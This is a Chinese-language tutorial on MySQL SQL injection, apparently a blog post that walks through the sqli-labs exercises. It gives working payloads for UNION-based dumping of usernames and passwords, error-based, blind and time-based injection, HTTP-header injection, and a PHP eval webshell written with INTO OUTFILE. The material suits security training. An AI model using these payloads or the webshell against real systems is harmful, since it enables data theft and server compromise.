SQL注入(背景知识,原理,类型,示例)

1.Mysql 基本知识

Mysql数据库大于5.0的版本中为方便管理含有默认的库information_schema,库中有
三张重要的表:schemata,表中储存了所有数据库名;tables,存储了所有表名及其库名;columns,所有字段名及其表名和库名。
在这里插入图片描述
增删改查的对象都是表的层次,而不是数据库。

不声明表是什么数据库时默认是当前的数据库中的表
如select 列名 from 表名 where xxx;

需要查询某个数据库某张表下的内容则需要特别指出:
如select * from 库名.表名 where xxx;


insert into 表名 (column1,column2,…)values(value1,value2,…)
value和对应位置的column对应,若是无明确column,则是按column的顺序依次插入值


更新某列的某行:
update 表名 set 列名=新值 where 列名=原值;

更新某行:
update 表名 set column1=value1 ,column2=value2 ,column3=value3 …


删除某行
delete from 表名 where 列名=xx;

删除所有行
delete from table;

注释
#,–space, / ✳…✳ /
注意:在url中,#另有含义,space也是无效信息,故使用space和#可以进行url编码,为%20,%23,space也可以使用+号代替,- -+

内联注释,/✳!sql语句✳/只有mysql有,常用来绕过WAF,当中的sql语句在数据库中仍然会被执行

一些常用查询函数或语句

limit m,n 显示当前结果从第m行开始,显示n条信息

order by 字段序号按照用户所想的第n个字段来排序,常用二分法使用order by来猜表的字段数。

union select 联合查询,将查询的两处结果拼接在一起,需要两处的的字段数相同,一般用order by 猜字段数,用union 判断回显 如 select false union select
1,2,3;第一处是false不显示,故只显示union查询到的信息。

group_concat(column1,连接符十六进制,column2...) 将查询到的列的所有信息连接成一条信息输出,当回显只有某列的第一个数据信息时,用此函数可以将该列所有信息暴露出来。
也可以连接同一列的所有信息
concat用法和group_concat一样,区别在于group,group是合并成一条信息输出,concat不合并成一条信息输出
在这里插入图片描述

if(exp1,exp2,exp3)如果exp1为true,返回exp2,否则返回exp3

sleep(n)数据库执行的结果延迟n秒再返回

length(database())数据库长度,length((char))

left(database(),n)n为database()的第n个字符,从左到右的顺序返回长度为n的子串默认从1开始,不是从0开始,可以通过比较法猜第n个字符是什么

substr(string, start, length)string为字符串,start为从哪里开始,length为字串的长度,即返回从start位置开始长度为length的子串默认从1开始,不是从0开始

ascii(char)返回字符的ASCII值
count(), group by a, as, rand(), floor()
count()是对所求的结果进行计算,group by a,a是分类的依据,rand()产生0~1的随机数,floor()是对所给的数取整。这几个组合用于双注入查询暴露数据库的信息

数据库的可利用函数:
user()–当前用户名,version()–mysql版本,database()–当前数据库
使用:select 函数;

2.SQL注入原理

SQL注入漏洞是由于用户客户端所提交的恶意信息在服务端没有被过滤,从而造成所提交的信息在后端的数据库被当作代码执行,进而获取到恶意用户想知道的信息

3.SQL注入的思路

  1. 判断有无sql注入:页面回显信息等
  2. 判断sql注入类型,字符,整型,盲注等
  3. 用order by菜字段数
  4. 用 union 获取回显位置
  5. 根据语句,获得数据库中的信息

4.SQL注入实战

A.思路实战–GET单引号注入示例

在这里插入图片描述
用户输入的id显示在url中,可以判断时get类型,构造payload查看是否有sql注入漏洞
在这里插入图片描述
我们输入单引号后看到一串报错信息,可以判断此处存在sql注入漏洞。
根据报错信息可以分析查询语句应当是select *from xx where id=‘number’,则是个字符型的单引号注入,那么接下来就可以用order by猜字段数了

字段数为3显示正常
在这里插入图片描述
字段数为4则报错,那么该字段数就是3,接下来用联合查询来判断回显位置
在这里插入图片描述
因为只返回一条信息,两个字段。联合查询时一定要让第一个查询id号为false,否则页面将会正常回显id信息,不能判断是哪个字段回显在页面上。此处id=-1肯定是false,根据我们的payload,可以看到第2,3个字段回显在页面上,那么可以在第2,3字段上构造我们payload,获取想要的信息

在这里插入图片描述
可以看到数据库版本为5.5.44,当前数据库为security
在这里插入图片描述
数据库管理员用户名为root@localhost

接下来我们想获取数据库中的信息,比如security库里应该有重要的信息,可能存储了用户名及密码等,下一步来给数据库爆破。

因为数据库版本>5.0,所以我们从information_schema中读取所有的数据库名,构造payload:

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

在这里插入图片描述
security应该存储有敏感信息,看看security中包含哪些表,可以从tables里的table_name查看,构造payload:

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

数据库中查询的字段为string类型时一定要加’ ',否则会转换成整型数值,查询不到信息
在这里插入图片描述
爆破users表单,查看里面的有哪些字段,构造payload:

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

在这里插入图片描述
那就不妨看看username和password字段,在security下的users表里面
构造payload:

?id=-1' union select 1,group_concat(username,0x3a,password),3 from security.users --+

在这里插入图片描述
想看数据库其他信息也是同样道理,库-表-字段依次爆破查看你想要的信息

B.整型注入

在这里插入图片描述
根据报错信息判断是整型注入,利用原理同上
在这里插入图片描述

C.字符型注入

1. 根据报错判断语句为select* from xx where id=(‘number’)在这里插入图片描述只需要闭合(’,注释掉’)就可以利用
在这里插入图片描述

2.开始闭合单引号,结果显示正常,判断id输入可能被双引号闭合了,里面的任意值都被包括在双引号中,所以尝试闭合双引号。根据报错判断语句为select* from xx where id=(’‘number’’)
在这里插入图片描述
只需要闭合(",注释掉")就可以利用,构造payload:?id=1") order by 3 --+

D.报错之双注入查询

当成功登时候页面只有回显you are in…,不能提供更多信息,所以前面的各种查询都无法回显出我们想要的结果。但是构造恶意payload会打印错误信息,而且mysql中存在某个组合函数的漏洞,就可以通过双注入查询回显报错的信息。
select count(*) ,concat(select(database()),0x3a,floor(rand()*2)) as temp from information_schema.schemata group by temp

这句话的意思是将select(database()),0x3a,floor(rand()查询得到的结果(别名为temp,下面用temp称呼这条语句)按temp分组(键值相同为一组),每次查询后用count函数计数。nformation_schema.schemata可以换成其他的表,主要是表中有较多条数据就可以。只有一条肯定不行。具体的漏洞原理可参考双注入查询漏洞原理

由于rand函数的不确定性,当第一次查询时库中不含有该结果,而插入时又再次查询语句的rand函数和第一次不一致,就会引发报错,得到报错信息。

在这里插入图片描述
在这里插入图片描述
不回显任何信息,用双注入查询尝试,构造payload:

?id=-1" union SELECT count(*),1,concat((SELECT database()), 0x3a,floor(rand()*2))as a from information_schema.schemata group by a --+

除了database()也可以替换成其他函数,version(),user()…,还可以爆破库名,表名。
构造payload,获得user表名

?id=-1" union select count(*),1, concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 3,1),0x3a,floor(rand()*2)) as a from information_schema.tables group by a--+

E.布尔盲注

不回显任何信息,只有正确与否,这时候只能通过盲注逐个字符来猜库,表,字段信息了。
如需要爆破数据库长度
?id=1’ and length(database())=n–+
获取数据库名,逐个字符猜解
?id=1’ and substr(database(),1,1)=‘s’–+
更复杂的payload参考A即可

F.时间盲注

不回显任何信息,也不显示语句结果真假,只能通过时间的延迟来判断,这种情况下只能采取时间盲注
如payload:**?id=1’ and if(length(database())=n,sleep(5),1)–+**如果为真则延迟5s返回结果,更复杂的payload参考A

G.利用函数bug报错注入

updatexml()一个对xml文档修改的函数,具体用法为
updatexml(XML_document, XPath_string, new_value);
第一个参数是文档名,第二个参数是修改的字符串路径,第三个参数是替换后的值,思路就是在第二个参数处利用XPath的语法错误来爆破数据库的信息。
在这里插入图片描述第二个参数不是XPath的语法,所以会报错,而且会报错其中查询的结果,所以我们就可以利用这个信息来爆破。

若是concat被过滤了,可用其他的函数,具体可参考绕过方法

extractvalue()查询xml文档的信息
extractvalue(xml_document,Xpath)和updatexml差不多
在这里插入图片描述

updatexml()extractvalue()的报错信息最多为32个字符,所以用爆破数据库时使用group_concat()可能会显示不全,如图所示。
在这里插入图片描述
解决办法是用concat()配合limit一行行显示,或者使用substr一次截取32个字符payload:uname=admin&passwd=xxx' or updatexml(1,concat(0x7e,(substr((select group_concat(schema_name) from information_schema.schemata),32,32)),0x7e),1) # & submit=Submit,截取了32位以后的字符
在这里插入图片描述

H.利用函数bug报错update/insert/delete注入

下面用sqli-lessson17来举例说明。这是一个post的update注入,并且username作了过滤,考虑在password处注入。尝试用双查询注入但是暂时行不,于是采取updatexml来尝试

payload:爆破库名
uname=admin&passwd=xxx' or updatexml(1,concat(0x7e,(select concat(schema_name) from information_schema.schemata limit 0,1),0x7e),1) # & submit=Submit
在这里插入图片描述
uname=admin&passwd=xxx' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) # & submit=Submit 爆破表名
在这里插入图片描述
uname=admin&passwd=xxx' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) # & submit=Submit 爆破列名
在这里插入图片描述
uname=admin&passwd=xxx' or updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users),0x7e),1) # & submit=Submit 爆破值 但是存在问题
在这里插入图片描述查资料最终的版本为
uname=admin&passwd=xxx' or updatexml(1,concat(0x7e,(select username from(select username from users limit 0,1)AnythingHere) ,0x7e),1) # & submit=Submit 只能依次爆用户名和密码了
在这里插入图片描述

H.http头注入(User-Agent,Referer,Cookies)

在这里插入图片描述登陆进去发现页面回显User Agent的信息,用户名和密码都被过滤了,考虑从User Agent入手,抓包改包
在这里插入图片描述payload:

S' and  updatexml(1,concat(0x7e,(select  database()),0x7e),1) or 3 ='4

3='4 是为了闭合’uagent’后面这个单引号,不然报错信息不是我们想要的
成功利用

I.读写文件

读文件load_file(“file_path”)
写文件 select <?php @eval($_POST["cmd"]);?>’ into outfile “file_path”

通过读写文件写入本地连上菜刀可以webshell

`

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值